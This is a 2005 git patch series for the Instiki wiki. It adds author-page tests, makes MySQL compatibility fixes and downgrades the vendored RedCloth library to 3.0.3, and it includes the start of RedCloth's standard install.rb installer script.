a/script/reset_references +++ b/script/reset_references @@ -16,7 +16,7 @@ Web.find_all.each do |web| web.pages.find(:all, :order => 'name').each do |page| $stderr.puts "Processing page '#{page.name}'" begin - PageRenderer.new(page.current_revision).display_content + PageRenderer.new(page.current_revision).display_content(update_references = true) rescue => e puts e puts e.backtrace diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index 8be34cb4..9d39fa23 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -53,6 +53,9 @@ class WikiControllerTest < Test::Unit::TestCase assert_success assert_equal %w(AnAuthor BreakingTheOrder DavidHeinemeierHansson Guest Me TreeHugger), r.template_objects['authors'] + page_names_by_author = r.template_objects['page_names_by_author'] + assert_equal r.template_objects['authors'], page_names_by_author.keys.sort + assert_equal %w(FirstPage HomePage), page_names_by_author['DavidHeinemeierHansson'] end def test_cancel_edit diff --git a/test/unit/web_test.rb b/test/unit/web_test.rb index 875c0bb3..57f47ea7 100644 --- a/test/unit/web_test.rb +++ b/test/unit/web_test.rb @@ -86,6 +86,14 @@ class WebTest < Test::Unit::TestCase @web.select.orphaned_pages.collect{ |page| page.name }.sort end + def test_page_names_by_author + page_names_by_author = webs(:test_wiki).page_names_by_author + assert_equal %w(AnAuthor DavidHeinemeierHansson Guest Me TreeHugger), + page_names_by_author.keys.sort + assert_equal %w(FirstPage HomePage), page_names_by_author['DavidHeinemeierHansson'] + assert_equal %w(Oak), page_names_by_author['TreeHugger'] + end + private def add_sample_pages From 61776995b6a3a15a368278b7d7712f687eb35ffd Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Wed, 28 Sep 2005 02:03:28 +0000 Subject: [PATCH 392/529] Fixes for MySQL compatibility --- db/wiki_references.erbsql | 2 +- script/import_storage | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/db/wiki_references.erbsql b/db/wiki_references.erbsql index 5dbe72d6..6b7115ce 100644 --- a/db/wiki_references.erbsql +++ b/db/wiki_references.erbsql @@ -4,6 +4,6 @@ CREATE TABLE wiki_references ( updated_at <%= @datetime %> NOT NULL, page_id INTEGER NOT NULL, - referenced_name VARCHAR NOT NULL, + referenced_name VARCHAR(60) NOT NULL, link_type CHAR(1) NOT NULL ) <%= create_options %>; \ No newline at end of file diff --git a/script/import_storage b/script/import_storage index a999d0ca..690a192e 100755 --- a/script/import_storage +++ b/script/import_storage @@ -183,7 +183,7 @@ File.open(OPTIONS[:outfile], 'w') { |outfile| puts "Web #{web_name} has #{web.pages.keys.size} pages" web.pages.each_pair do |page_name, page| - outfile.puts "BEGIN TRANSACTION;" + outfile.puts "BEGIN;" outfile.puts sql_insert(:pages, { :id => next_id(:page), From 9ea6e6ae65dc96fde00819a93fa6dad3be272726 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Wed, 28 Sep 2005 04:12:11 +0000 Subject: [PATCH 393/529] Downgrading RedCloth back to 3.0.3 (3.0.4 is said to be buggy) --- CHANGELOG | 3 +- instiki.gemspec | 2 +- rakefile.rb | 71 - test/test_helper.rb | 4 +- vendor/RedCloth-3.0.3/RedCloth.gemspec | 52 + .../bin/redcloth | 2 +- .../doc/CHANGELOG | 11 - .../doc/COPYING | 0 .../doc/README | 6 +- .../doc/REFERENCE | 8 +- .../doc/make.rb | 0 vendor/RedCloth-3.0.3/install.rb | 1032 +++++++++++++ .../lib/redcloth.rb | 137 +- .../run-tests.rb | 4 +- .../tests/code.yml | 0 .../tests/images.yml | 0 .../tests/instiki.yml | 0 .../tests/links.yml | 0 .../tests/lists.yml | 0 .../tests/markdown.yml | 0 .../tests/poignant.yml | 0 .../tests/table.yml | 8 +- .../tests/textism.yml | 9 - vendor/RedCloth-3.0.4/setup.rb | 1376 ----------------- vendor/RedCloth-3.0.4/tests/hard_breaks.yml | 26 - 25 files changed, 1162 insertions(+), 1589 deletions(-) create mode 100644 vendor/RedCloth-3.0.3/RedCloth.gemspec rename vendor/{RedCloth-3.0.4 => RedCloth-3.0.3}/bin/redcloth (70%) rename vendor/{RedCloth-3.0.4 => RedCloth-3.0.3}/doc/CHANGELOG (92%) rename vendor/{RedCloth-3.0.4 => RedCloth-3.0.3}/doc/COPYING (100%) rename vendor/{RedCloth-3.0.4 => RedCloth-3.0.3}/doc/README (91%) rename vendor/{RedCloth-3.0.4 => RedCloth-3.0.3}/doc/REFERENCE (98%) rename vendor/{RedCloth-3.0.4 => RedCloth-3.0.3}/doc/make.rb (100%) create mode 100644 vendor/RedCloth-3.0.3/install.rb rename vendor/{RedCloth-3.0.4 => RedCloth-3.0.3}/lib/redcloth.rb (94%) rename vendor/{RedCloth-3.0.4 => RedCloth-3.0.3}/run-tests.rb (83%) rename vendor/{RedCloth-3.0.4 => RedCloth-3.0.3}/tests/code.yml (100%) rename vendor/{RedCloth-3.0.4 => RedCloth-3.0.3}/tests/images.yml (100%) rename vendor/{RedCloth-3.0.4 => RedCloth-3.0.3}/tests/instiki.yml (100%) rename vendor/{RedCloth-3.0.4 => RedCloth-3.0.3}/tests/links.yml (100%) rename vendor/{RedCloth-3.0.4 => RedCloth-3.0.3}/tests/lists.yml (100%) rename vendor/{RedCloth-3.0.4 => RedCloth-3.0.3}/tests/markdown.yml (100%) rename vendor/{RedCloth-3.0.4 => RedCloth-3.0.3}/tests/poignant.yml (100%) rename vendor/{RedCloth-3.0.4 => RedCloth-3.0.3}/tests/table.yml (95%) rename vendor/{RedCloth-3.0.4 => RedCloth-3.0.3}/tests/textism.yml (97%) delete mode 100644 vendor/RedCloth-3.0.4/setup.rb delete mode 100644 vendor/RedCloth-3.0.4/tests/hard_breaks.yml diff --git a/CHANGELOG b/CHANGELOG index d093c887..6b2dcbda 100755 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,6 +1,5 @@ - * instiki-ar + * instiki-ar: SQL-based backend (ActiveRecord) - Upgrade to RedCloth 3.0.4 Replaced internal link generator with routing Fixed --daemon option diff --git a/instiki.gemspec b/instiki.gemspec index caeee714..c65ac414 100755 --- a/instiki.gemspec +++ b/instiki.gemspec @@ -24,7 +24,7 @@ spec = Gem::Specification.new do |s| s.has_rdoc = false - s.add_dependency('RedCloth', '= 3.0.4') + s.add_dependency('RedCloth', '= 3.0.3') s.add_dependency('rubyzip', '= 0.5.8') s.add_dependency('rails', '= 0.13.1') s.add_dependency('sqlite3-ruby', '= 1.1.0') diff --git a/rakefile.rb b/rakefile.rb index af9c997f..033b052f 100755 --- a/rakefile.rb +++ b/rakefile.rb @@ -20,36 +20,12 @@ desc "Generate API documentation, show coding stats" task :doc => [ :appdoc, :stats ] -# Look up tests for recently modified sources. -def recent_tests(source_pattern, test_path, touched_since = 10.minutes.ago) - FileList[source_pattern].map do |path| - if File.mtime(path) > touched_since - test = "#{test_path}/#{File.basename(path, '.rb')}_test.rb" - test if File.exists?(test) - end - end.compact -end - -desc 'Test recent changes.' -Rake::TestTask.new(:recent => [ :clone_structure_to_test ]) do |t| - since = TEST_CHANGES_SINCE - touched = FileList['test/**/*_test.rb'].select { |path| File.mtime(path) > since } + - recent_tests('app/models/*.rb', 'test/unit', since) + - recent_tests('app/controllers/*.rb', 'test/functional', since) - - t.libs << 'test' - t.verbose = true - t.test_files = touched.uniq -end -task :test_recent => [ :clone_structure_to_test ] - desc "Run the unit tests in test/unit" Rake::TestTask.new("test_units") { |t| t.libs << "test" t.pattern = 'test/unit/**/*_test.rb' t.verbose = true } -task :test_units => [ :clone_structure_to_test ] desc "Run the functional tests in test/functional" Rake::TestTask.new("test_functional") { |t| @@ -57,7 +33,6 @@ Rake::TestTask.new("test_functional") { |t| t.pattern = 'test/functional/**/*_test.rb' t.verbose = true } -task :test_functional => [ :clone_structure_to_test ] desc "Generate documentation for the application" Rake::RDocTask.new("appdoc") { |rdoc| @@ -118,52 +93,6 @@ task :stats => [ :environment ] do ).to_s end -desc "Recreate the test databases from the development structure" -task :clone_structure_to_test => [ :db_structure_dump, :purge_test_database ] do - abcs = ActiveRecord::Base.configurations - case abcs["test"]["adapter"] - when "mysql" - ActiveRecord::Base.establish_connection(:test) - ActiveRecord::Base.connection.execute('SET foreign_key_checks = 0') - IO.readlines("db/#{RAILS_ENV}_structure.sql").join.split("\n\n").each do |table| - ActiveRecord::Base.connection.execute(table) - end - when "postgresql" - ENV['PGHOST'] = abcs["test"]["host"] if abcs["test"]["host"] - ENV['PGPORT'] = abcs["test"]["port"].to_s if abcs["test"]["port"] - ENV['PGPASSWORD'] = abcs["test"]["password"].to_s if abcs["test"]["password"] - `psql -U "#{abcs["test"]["username"]}" -f db/#{RAILS_ENV}_structure.sql #{abcs["test"]["database"]}` - when "sqlite", "sqlite3" - `#{abcs[RAILS_ENV]["adapter"]} #{abcs["test"]["dbfile"]} < db/#{RAILS_ENV}_structure.sql` - when "sqlserver" - `osql -E -S #{abcs["test"]["host"]} -d #{abcs["test"]["database"]} -i db\\#{RAILS_ENV}_structure.sql` - else - raise "Unknown database adapter '#{abcs["test"]["adapter"]}'" - end -end - -desc "Dump the database structure to a SQL file" -task :db_structure_dump => :environment do - abcs = ActiveRecord::Base.configurations - case abcs[RAILS_ENV]["adapter"] - when "mysql" - ActiveRecord::Base.establish_connection(abcs[RAILS_ENV]) - File.open("db/#{RAILS_ENV}_structure.sql", "w+") { |f| f << ActiveRecord::Base.connection.structure_dump } - when "postgresql" - ENV['PGHOST'] = abcs[RAILS_ENV]["host"] if abcs[RAILS_ENV]["host"] - ENV['PGPORT'] = abcs[RAILS_ENV]["port"].to_s if abcs[RAILS_ENV]["port"] - ENV['PGPASSWORD'] = abcs[RAILS_ENV]["password"].to_s if abcs[RAILS_ENV]["password"] - `pg_dump -U "#{abcs[RAILS_ENV]["username"]}" -s -x -O -f db/#{RAILS_ENV}_structure.sql #{abcs[RAILS_ENV]["database"]}` - when "sqlite", "sqlite3" - `#{abcs[RAILS_ENV]["adapter"]} #{abcs[RAILS_ENV]["dbfile"]} .schema > db/#{RAILS_ENV}_structure.sql` - when "sqlserver" - `scptxfr /s #{abcs[RAILS_ENV]["host"]} /d #{abcs[RAILS_ENV]["database"]} /I /f db\\#{RAILS_ENV}_structure.sql /q /A /r` - `scptxfr /s #{abcs[RAILS_ENV]["host"]} /d #{abcs[RAILS_ENV]["database"]} /I /F db\ /q /A /r` - else - raise "Unknown database adapter '#{abcs["test"]["adapter"]}'" - end -end - desc "Empty the test database" task :purge_test_database => :environment do abcs = ActiveRecord::Base.configurations diff --git a/test/test_helper.rb b/test/test_helper.rb index adf78cf2..f23bebeb 100644 --- a/test/test_helper.rb +++ b/test/test_helper.rb @@ -1,8 +1,8 @@ -ENV["RAILS_ENV"] = "test" +ENV['RAILS_ENV'] = 'test' # Expand the path to environment so that Ruby does not load it multiple times # File.expand_path can be removed if Ruby 1.9 is in use. -require File.expand_path(File.dirname(__FILE__) + "/../config/environment") +require File.expand_path(File.dirname(__FILE__) + '/../config/environment') require 'application' require 'test/unit' diff --git a/vendor/RedCloth-3.0.3/RedCloth.gemspec b/vendor/RedCloth-3.0.3/RedCloth.gemspec new file mode 100644 index 00000000..ca64b780 --- /dev/null +++ b/vendor/RedCloth-3.0.3/RedCloth.gemspec @@ -0,0 +1,52 @@ +require 'rubygems' +spec = Gem::Specification.new do |s| + + ## Basic Information + + s.name = 'RedCloth' + s.version = "3.0.3" + s.platform = Gem::Platform::RUBY + s.summary = <<-TXT + RedCloth is a module for using Textile and Markdown in Ruby. Textile and Markdown are text formats. + A very simple text format. Another stab at making readable text that can be converted to HTML. + TXT + s.description = <<-TXT + No need to use verbose HTML to build your docs, your blogs, your pages. Textile gives you readable text while you're writing and beautiful text for your readers. And if you need to break out into HTML, Textile will allow you to do so. + + Textile also handles some subtleties of formatting which will enhance your document's readability: + + * Single- and double-quotes around words or phrases are converted to curly quotations, much easier on + the eye. "Observe!" + + * Double hyphens are replaced with an em-dash. Observe -- very nice! + + * Single hyphens are replaced with en-dashes. Observe - so cute! + + * Triplets of periods become an ellipsis. Observe... + + * The letter 'x' becomes a dimension sign when used alone. Observe: 2 x 2. + + * Conversion of ==(TM)== to (TM), ==(R)== to (R), ==(C)== to (C). + + For more on Textile's language, hop over to "A Textile Reference":http://hobix.com/textile/. For more + on Markdown, see "Daring Fireball's page":http://daringfireball.net/projects/markdown/. + TXT + + ## Include tests, libs, docs + + s.files = ['bin/**/*', 'tests/**/*', 'lib/**/*', 'docs/**/*', 'run-tests.rb'].collect do |dirglob| + Dir.glob(dirglob) + end.flatten.delete_if {|item| item.include?("CVS")} + + ## Load-time details + + s.require_path = 'lib' + s.autorequire = 'redcloth' + + ## Author and project details + + s.author = "Why the Lucky Stiff" + s.email = "why@ruby-lang.org" + s.rubyforge_project = "redcloth" + s.homepage = "http://www.whytheluckystiff.net/ruby/redcloth/" +end diff --git a/vendor/RedCloth-3.0.4/bin/redcloth b/vendor/RedCloth-3.0.3/bin/redcloth similarity index 70% rename from vendor/RedCloth-3.0.4/bin/redcloth rename to vendor/RedCloth-3.0.3/bin/redcloth index ae210b6a..81abf7db 100644 --- a/vendor/RedCloth-3.0.4/bin/redcloth +++ b/vendor/RedCloth-3.0.3/bin/redcloth @@ -1,3 +1,3 @@ -#!/usr/bin/ruby18 +#!/usr/local/bin/ruby18 require 'redcloth' puts RedCloth.new( ARGF.read ).to_html diff --git a/vendor/RedCloth-3.0.4/doc/CHANGELOG b/vendor/RedCloth-3.0.3/doc/CHANGELOG similarity index 92% rename from vendor/RedCloth-3.0.4/doc/CHANGELOG rename to vendor/RedCloth-3.0.3/doc/CHANGELOG index 0581447c..7b5f9cf3 100644 --- a/vendor/RedCloth-3.0.4/doc/CHANGELOG +++ b/vendor/RedCloth-3.0.3/doc/CHANGELOG @@ -1,15 +1,4 @@ --- %YAML:1.0 -- version: 3.0.4 - date: 2005-02-18 - changes: - - The caps class doesn't swallow spaces. - - Horizontal rules required to be on an empty line. - - Hard breaks don't screw with Markdown headers any longer. - - Fixed error triggered by complex lists. - - Inline markups need to be butted up against enclosing text, no spaces. - - Fixed problem with intermingled single and double quotes. - - Brought back lite_mode. - - version: 3.0.3 date: 2005-02-06 changes: diff --git a/vendor/RedCloth-3.0.4/doc/COPYING b/vendor/RedCloth-3.0.3/doc/COPYING similarity index 100% rename from vendor/RedCloth-3.0.4/doc/COPYING rename to vendor/RedCloth-3.0.3/doc/COPYING diff --git a/vendor/RedCloth-3.0.4/doc/README b/vendor/RedCloth-3.0.3/doc/README similarity index 91% rename from vendor/RedCloth-3.0.4/doc/README rename to vendor/RedCloth-3.0.3/doc/README index 1c0b0f38..1ae4560c 100644 --- a/vendor/RedCloth-3.0.4/doc/README +++ b/vendor/RedCloth-3.0.3/doc/README @@ -4,7 +4,9 @@ p=. !redcloth3-title.png! h4. Get RedCloth 3 -p(example1). *Stable version:* "3.0.3":http://rubyforge.org/frs/download.php/2896/RedCloth-3.0.3.tar.gz +p(example1). *Stable version:* "2.0.11":http://rubyforge.org/frs/download.php/698/redcloth-2.0.11.tar.gz + +p(example1). *Unstable version:* "3.0.2":http://rubyforge.org/frs/download.php/2852/RedCloth-3.0.2.tar.gz Take a complete tour of Textile at "A Textile Reference":http://hobix.com/textile/. @@ -89,7 +91,7 @@ To install RedCloth via RubyGems: gem install RedCloth
      -Or "download RedCloth":http://rubyforge.org/frs/download.php/2896/RedCloth-3.0.3.tar.gz and simply run the install.rb like so: +Or "download RedCloth":http://rubyforge.org/frs/download.php/2852/RedCloth-3.0.2.tar.gz and simply run the install.rb like so:
         ruby install.rb config
      diff --git a/vendor/RedCloth-3.0.4/doc/REFERENCE b/vendor/RedCloth-3.0.3/doc/REFERENCE
      similarity index 98%
      rename from vendor/RedCloth-3.0.4/doc/REFERENCE
      rename to vendor/RedCloth-3.0.3/doc/REFERENCE
      index c7236e89..a3e5bec0 100644
      --- a/vendor/RedCloth-3.0.4/doc/REFERENCE
      +++ b/vendor/RedCloth-3.0.3/doc/REFERENCE
      @@ -24,9 +24,9 @@
           if it's found in a @pre@ or @code@ block.
         - !!example "I am very serious.\n\n
      \n  I am very serious.\n
      " - h4. Line Breaks - - Line breaks are ignored. + - Line breaks are converted to HTML breaks. - !!example "I spoke.\nAnd none replied." - - Line breaks can be converted to HTML breaks by setting @hard_breaks@. + - Line breaks can be disabled in RedCloth by turning on @fold_lines@. - h4. Entities - Single- and double-quotes around words or phrases are converted to curly quotations, much easier on the eye. - !!example '"Observe!"' @@ -78,9 +78,9 @@ - Pluses around a passage indicate its insertion. - !!example "You are a +pleasant+ child." - To superscript a phrase, surround with carets. - - !!example "a^2^ + b^2^ = c^2^" + - !!example "a ^2^ + b ^2^ = c ^2^" - To subscript, surround with tildes. - - !!example "log~2~x" + - !!example "log ~2~ x" - h4. HTML-Specific - Lastly, if you find yourself needing to customize the style of a passage, use percent symbols to translate the passage as an HTML span. diff --git a/vendor/RedCloth-3.0.4/doc/make.rb b/vendor/RedCloth-3.0.3/doc/make.rb similarity index 100% rename from vendor/RedCloth-3.0.4/doc/make.rb rename to vendor/RedCloth-3.0.3/doc/make.rb diff --git a/vendor/RedCloth-3.0.3/install.rb b/vendor/RedCloth-3.0.3/install.rb new file mode 100644 index 00000000..2313f9e9 --- /dev/null +++ b/vendor/RedCloth-3.0.3/install.rb @@ -0,0 +1,1032 @@ +#!/usr/local/bin/ruby +# +# This file is automatically generated. DO NOT MODIFY! +# +# install.rb +# +# Copyright (c) 2000-2002 Minero Aoki +# +# This program is free software. +# You can distribute/modify this program under the terms of +# the GNU Lesser General Public License version 2. +# + +### begin compat.rb + +unless Enumerable.instance_methods.include? 'inject' then +module Enumerable + def inject( result ) + each do |i| + result = yield(result, i) + end + result + end +end +end + +def File.read_all( fname ) + File.open(fname, 'rb') {|f| return f.read } +end + +def File.write( fname, str ) + File.open(fname, 'wb') {|f| f.write str } +end + +### end compat.rb +### begin config.rb + +if i = ARGV.index(/\A--rbconfig=/) then + file = $' + ARGV.delete_at(i) + require file +else + require 'rbconfig' +end + + +class ConfigTable + + c = ::Config::CONFIG + + rubypath = c['bindir'] + '/' + c['ruby_install_name'] + + major = c['MAJOR'].to_i + minor = c['MINOR'].to_i + teeny = c['TEENY'].to_i + version = "#{major}.#{minor}" + + # ruby ver. >= 1.4.4? + newpath_p = ((major >= 2) or + ((major == 1) and + ((minor >= 5) or + ((minor == 4) and (teeny >= 4))))) + + re = Regexp.new('\A' + Regexp.quote(c['prefix'])) + subprefix = lambda {|path| + re === path and path.sub(re, '$prefix') + } + + if c['rubylibdir'] then + # 1.6.3 < V + stdruby = subprefix.call(c['rubylibdir']) + siteruby = subprefix.call(c['sitedir']) + versite = subprefix.call(c['sitelibdir']) + sodir = subprefix.call(c['sitearchdir']) + elsif newpath_p then + # 1.4.4 <= V <= 1.6.3 + stdruby = "$prefix/lib/ruby/#{version}" + siteruby = subprefix.call(c['sitedir']) + versite = siteruby + '/' + version + sodir = "$site-ruby/#{c['arch']}" + else + # V < 1.4.4 + stdruby = "$prefix/lib/ruby/#{version}" + siteruby = "$prefix/lib/ruby/#{version}/site_ruby" + versite = siteruby + sodir = "$site-ruby/#{c['arch']}" + end + + DESCRIPTER = [ + [ 'prefix', [ c['prefix'], + 'path', + 'path prefix of target environment' ] ], + [ 'std-ruby', [ stdruby, + 'path', + 'the directory for standard ruby libraries' ] ], + [ 'site-ruby-common', [ siteruby, + 'path', + 'the directory for version-independent non-standard ruby libraries' ] ], + [ 'site-ruby', [ versite, + 'path', + 'the directory for non-standard ruby libraries' ] ], + [ 'bin-dir', [ '$prefix/bin', + 'path', + 'the directory for commands' ] ], + [ 'rb-dir', [ '$site-ruby', + 'path', + 'the directory for ruby scripts' ] ], + [ 'so-dir', [ sodir, + 'path', + 'the directory for ruby extentions' ] ], + [ 'data-dir', [ '$prefix/share', + 'path', + 'the directory for shared data' ] ], + [ 'ruby-path', [ rubypath, + 'path', + 'path to set to #! line' ] ], + [ 'ruby-prog', [ rubypath, + 'name', + 'the ruby program using for installation' ] ], + [ 'make-prog', [ 'make', + 'name', + 'the make program to compile ruby extentions' ] ], + [ 'without-ext', [ 'no', + 'yes/no', + 'does not compile/install ruby extentions' ] ] + ] + + SAVE_FILE = 'config.save' + + def ConfigTable.each_name( &block ) + keys().each( &block ) + end + + def ConfigTable.keys + DESCRIPTER.collect {|k,*dummy| k } + end + + def ConfigTable.each_definition( &block ) + DESCRIPTER.each( &block ) + end + + def ConfigTable.get_entry( name ) + name, ent = DESCRIPTER.assoc(name) + ent + end + + def ConfigTable.get_entry!( name ) + get_entry(name) or raise ArgumentError, "no such config: #{name}" + end + + def ConfigTable.add_entry( name, vals ) + ConfigTable::DESCRIPTER.push [name,vals] + end + + def ConfigTable.remove_entry( name ) + get_entry name or raise ArgumentError, "no such config: #{name}" + DESCRIPTER.delete_if {|n,arr| n == name } + end + + def ConfigTable.config_key?( name ) + get_entry(name) ? true : false + end + + def ConfigTable.bool_config?( name ) + ent = get_entry(name) or return false + ent[1] == 'yes/no' + end + + def ConfigTable.value_config?( name ) + ent = get_entry(name) or return false + ent[1] != 'yes/no' + end + + def ConfigTable.path_config?( name ) + ent = get_entry(name) or return false + ent[1] == 'path' + end + + + class << self + + alias newobj new + + def new + c = newobj() + c.__send__ :init + c + end + + def load + c = newobj() + File.file? SAVE_FILE or + raise InstallError, "#{File.basename $0} config first" + File.foreach( SAVE_FILE ) do |line| + k, v = line.split( '=', 2 ) + c.instance_eval { + @table[k] = v.strip + } + end + c + end + + end + + def initialize + @table = {} + end + + def init + DESCRIPTER.each do |k, (default, vname, desc, default2)| + @table[k] = default + end + end + private :init + + def save + File.open( SAVE_FILE, 'w' ) {|f| + @table.each do |k, v| + f.printf "%s=%s\n", k, v if v + end + } + end + + def []=( k, v ) + ConfigTable.config_key? k or raise InstallError, "unknown config option #{k}" + if ConfigTable.path_config? k then + @table[k] = (v[0,1] != '$') ? File.expand_path(v) : v + else + @table[k] = v + end + end + + def []( key ) + @table[key] or return nil + @table[key].gsub( %r<\$([^/]+)> ) { self[$1] } + end + + def set_raw( key, val ) + @table[key] = val + end + + def get_raw( key ) + @table[key] + end + +end + + +class MetaConfigEnvironment + + def self.eval_file( file ) + return unless File.file? file + new.instance_eval File.read_all(file), file, 1 + end + + private + + def config_names + ConfigTable.keys + end + + def config?( name ) + ConfigTable.config_key? name + end + + def bool_config?( name ) + ConfigTable.bool_config? name + end + + def value_config?( name ) + ConfigTable.value_config? name + end + + def path_config?( name ) + ConfigTable.path_config? name + end + + def add_config( name, argname, default, desc ) + ConfigTable.add_entry name,[default,argname,desc] + end + + def add_path_config( name, default, desc ) + add_config name, 'path', default, desc + end + + def add_bool_config( name, default, desc ) + add_config name, 'yes/no', default ? 'yes' : 'no', desc + end + + def set_config_default( name, default ) + if bool_config? name then + ConfigTable.get_entry!(name)[0] = default ? 'yes' : 'no' + else + ConfigTable.get_entry!(name)[0] = default + end + end + + def remove_config( name ) + ent = ConfigTable.get_entry(name) + ConfigTable.remove_entry name + ent + end + +end + +### end config.rb +### begin fileop.rb + +module FileOperations + + def mkdir_p( dname, prefix = nil ) + dname = prefix + dname if prefix + $stderr.puts "mkdir -p #{dname}" if verbose? + return if no_harm? + + # does not check '/'... it's too abnormal case + dirs = dname.split(%r_(?=/)_) + if /\A[a-z]:\z/i === dirs[0] then + disk = dirs.shift + dirs[0] = disk + dirs[0] + end + dirs.each_index do |idx| + path = dirs[0..idx].join('') + Dir.mkdir path unless dir? path + end + end + + def rm_f( fname ) + $stderr.puts "rm -f #{fname}" if verbose? + return if no_harm? + + if File.exist? fname or File.symlink? fname then + File.chmod 0777, fname + File.unlink fname + end + end + + def rm_rf( dn ) + $stderr.puts "rm -rf #{dn}" if verbose? + return if no_harm? + + Dir.chdir dn + Dir.foreach('.') do |fn| + next if fn == '.' + next if fn == '..' + if dir? fn then + verbose_off { + rm_rf fn + } + else + verbose_off { + rm_f fn + } + end + end + Dir.chdir '..' + Dir.rmdir dn + end + + def mv( src, dest ) + rm_f dest + begin + File.link src, dest + rescue + File.write dest, File.read_all(src) + File.chmod File.stat(src).mode, dest + end + rm_f src + end + + def install( from, dest, mode, prefix = nil ) + $stderr.puts "install #{from} #{dest}" if verbose? + return if no_harm? + + realdest = prefix + dest if prefix + if dir? realdest then + realdest += '/' + File.basename(from) + end + str = File.read_all(from) + if diff? str, realdest then + verbose_off { + rm_f realdest if File.exist? realdest + } + File.write realdest, str + File.chmod mode, realdest + + File.open( objdir + '/InstalledFiles', 'a' ) {|f| f.puts realdest } + end + end + + def diff?( orig, targ ) + return true unless File.exist? targ + orig != File.read_all(targ) + end + + def command( str ) + $stderr.puts str if verbose? + system str or raise RuntimeError, "'system #{str}' failed" + end + + def ruby( str ) + command config('ruby-prog') + ' ' + str + end + + def dir?( dname ) + # for corrupted windows stat() + File.directory?( (dname[-1,1] == '/') ? dname : dname + '/' ) + end + + def all_files( dname ) + Dir.open( dname ) {|d| + return d.find_all {|n| File.file? "#{dname}/#{n}" } + } + end + + def all_dirs( dname ) + Dir.open( dname ) {|d| + return d.find_all {|n| dir? "#{dname}/#{n}" } - %w(. ..) + } + end + +end + +### end fileop.rb +### begin base.rb + +class InstallError < StandardError; end + + +class Installer + + Version = '3.1.2' + Copyright = 'Copyright (c) 2000-2002 Minero Aoki' + + + @toplevel = nil + + def self.declear_toplevel_installer( inst ) + @toplevel and + raise ArgumentError, 'more than one toplevel installer decleared' + @toplevel = inst + end + + def self.toplevel_installer + @toplevel + end + + + FILETYPES = %w( bin lib ext data ) + + include FileOperations + + def initialize( config, opt, srcroot, objroot ) + @config = config + @options = opt + @srcdir = File.expand_path(srcroot) + @objdir = File.expand_path(objroot) + @currdir = '.' + end + + def inspect + "#<#{type} #{__id__}>" + end + + # + # configs/options + # + + def get_config( key ) + @config[key] + end + + alias config get_config + + def set_config( key, val ) + @config[key] = val + end + + def no_harm? + @options['no-harm'] + end + + def verbose? + @options['verbose'] + end + + def verbose_off + save, @options['verbose'] = @options['verbose'], false + yield + @options['verbose'] = save + end + + # + # srcdir/objdir + # + + attr_reader :srcdir + alias srcdir_root srcdir + alias package_root srcdir + + def curr_srcdir + "#{@srcdir}/#{@currdir}" + end + + attr_reader :objdir + alias objdir_root objdir + + def curr_objdir + "#{@objdir}/#{@currdir}" + end + + def srcfile( path ) + curr_srcdir + '/' + path + end + + def srcexist?( path ) + File.exist? srcfile(path) + end + + def srcdirectory?( path ) + dir? srcfile(path) + end + + def srcfile?( path ) + File.file? srcfile(path) + end + + def srcentries( path = '.' ) + Dir.open( curr_srcdir + '/' + path ) {|d| + return d.to_a - %w(. ..) - hookfilenames + } + end + + def srcfiles( path = '.' ) + srcentries(path).find_all {|fname| + File.file? File.join(curr_srcdir, path, fname) + } + end + + def srcdirectories( path = '.' ) + srcentries(path).find_all {|fname| + dir? File.join(curr_srcdir, path, fname) + } + end + + def dive_into( rel ) + return unless dir? "#{@srcdir}/#{rel}" + + dir = File.basename(rel) + Dir.mkdir dir unless dir? dir + save = Dir.pwd + Dir.chdir dir + $stderr.puts '---> ' + rel if verbose? + @currdir = rel + yield + Dir.chdir save + $stderr.puts '<--- ' + rel if verbose? + @currdir = File.dirname(rel) + end + + # + # config + # + + def exec_config + exec_task_traverse 'config' + end + + def config_dir_bin( rel ) + end + + def config_dir_lib( rel ) + end + + def config_dir_ext( rel ) + extconf if extdir? curr_srcdir + end + + def extconf + opt = @options['config-opt'].join(' ') + command "#{config('ruby-prog')} #{curr_srcdir}/extconf.rb #{opt}" + end + + def config_dir_data( rel ) + end + + # + # setup + # + + def exec_setup + exec_task_traverse 'setup' + end + + def setup_dir_bin( relpath ) + all_files( curr_srcdir ).each do |fname| + add_rubypath "#{curr_srcdir}/#{fname}" + end + end + + SHEBANG_RE = /\A\#!\s*\S*ruby\S*/ + + def add_rubypath( path ) + $stderr.puts %Q if verbose? + return if no_harm? + + tmpfile = File.basename(path) + '.tmp' + begin + File.open( path ) {|r| + File.open( tmpfile, 'w' ) {|w| + first = r.gets + return unless SHEBANG_RE === first # reject '/usr/bin/env ruby' + + w.print first.sub( SHEBANG_RE, '#!' + config('ruby-path') ) + w.write r.read + } } + mv tmpfile, File.basename(path) + ensure + rm_f tmpfile if File.exist? tmpfile + end + end + + def setup_dir_lib( relpath ) + end + + def setup_dir_ext( relpath ) + if extdir? curr_srcdir then + make + end + end + + def make + command config('make-prog') + end + + def setup_dir_data( relpath ) + end + + # + # install + # + + def exec_install + exec_task_traverse 'install' + end + + def install_dir_bin( rel ) + install_files targfiles, config('bin-dir') + '/' + rel, 0755 + end + + def install_dir_lib( rel ) + install_files targfiles, config('rb-dir') + '/' + rel, 0644 + begin + require 'rdoc/rdoc' + ri_site = true + if RDOC_VERSION =~ /^0\./ + require 'rdoc/options' + unless Options::OptionList::OPTION_LIST.assoc('--ri-site') + ri_site = false + end + end + if ri_site + r = RDoc::RDoc.new + r.document(%w{--ri-site}) + end + rescue + puts "** Unable to install Ri documentation for RedCloth **" + end + end + + def install_dir_ext( rel ) + if extdir? curr_srcdir then + install_dir_ext_main File.dirname(rel) + end + end + + def install_dir_ext_main( rel ) + install_files allext('.'), config('so-dir') + '/' + rel, 0555 + end + + def install_dir_data( rel ) + install_files targfiles, config('data-dir') + '/' + rel, 0644 + end + + def install_files( list, dest, mode ) + mkdir_p dest, @options['install-prefix'] + list.each do |fname| + install fname, dest, mode, @options['install-prefix'] + end + end + + def targfiles + (targfilenames() - hookfilenames()).collect {|fname| + File.exist?(fname) ? fname : File.join(curr_srcdir(), fname) + } + end + + def targfilenames + [ curr_srcdir(), '.' ].inject([]) {|ret, dir| + ret | all_files(dir) + } + end + + def hookfilenames + %w( pre-%s post-%s pre-%s.rb post-%s.rb ).collect {|fmt| + 